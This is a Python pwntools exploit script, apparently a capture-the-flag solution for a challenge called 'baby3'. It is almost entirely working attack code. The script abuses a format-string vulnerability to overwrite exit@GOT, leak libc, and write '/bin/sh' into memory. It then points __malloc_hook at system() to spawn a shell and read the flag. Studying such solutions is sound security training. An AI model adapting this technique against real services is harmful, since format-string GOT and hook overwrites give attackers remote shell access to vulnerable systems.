baby3.py

#!/usr/bin/env python2
from pwn import *
import sys

# context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])    # open new window

def fail(msg):
    log.info("Exploit failed: {}".format(msg))
    exit(1)

def success(msg):
    log.success("{}".format(msg))
    exit(1337)

def main():
    
    INTRO = False
    HOST, PORT = sys.argv[1].split(':')

    try:

        for z in range(20):
            
            io = remote(HOST, PORT)

            # step 1: overwrite exit@GOT to make the program loop
            banner = io.recvuntil(': ')[:-8]
            if INTRO is False:
                print banner
                INTRO = True

            MAIN = 0x40076f  # absolute address of main function
            EXIT = 0x602048  # exit@GOT

            io.sendline('%1903c%10$hn'+'.'*20+p64(EXIT))

            # step 2: leak libc
            io.recvuntil(': ')
            io.sendline('%3$p')

            leak = io.recvline().strip()
            leak = int(leak, 16)
            libc = leak - 0x110081

            # log.info('leak: 0x%012x' % leak)
            # log.info('libc: 0x%012x' % libc)

            # step 3: write /bin/sh somewhere
            pay  = "/bin/sh"
            addr = 0x602080

            for i in range(len(pay)):
                io.recvuntil(': ')
                val = ord(pay[i])
                if val == 0:
                    val = 0x100
                io.sendline('%'+str(val).rjust(3, '0')+'c%10$hhn'+'.'*20+p64(addr+i))

            # step 4: write system() to __malloc_hook()
            pay  = p64(libc+0x4f440)
            addr = libc+0x3ebc30

            for i in range(len(pay)):
                io.recvuntil(': ')
                val = ord(pay[i])
                if val == 0:
                    val = 0x100
                io.sendline('%'+str(val).rjust(3, '0')+'c%10$hhn'+'.'*20+p64(addr+i))

            # step 5: trigger shell
            io.recvuntil(': ')
            io.sendline('%'+str(0x602080-0x20)+'c')

            io.sendline('cat flag')
            flag = io.recvline().strip()

            return flag
    except:
        io.close()

    return None

if __name__== '__main__':

    if len(sys.argv) < 2:
        fail('No target')

    flag = main()
    if flag.startswith("sctf{"):
        success(flag)

    fail("")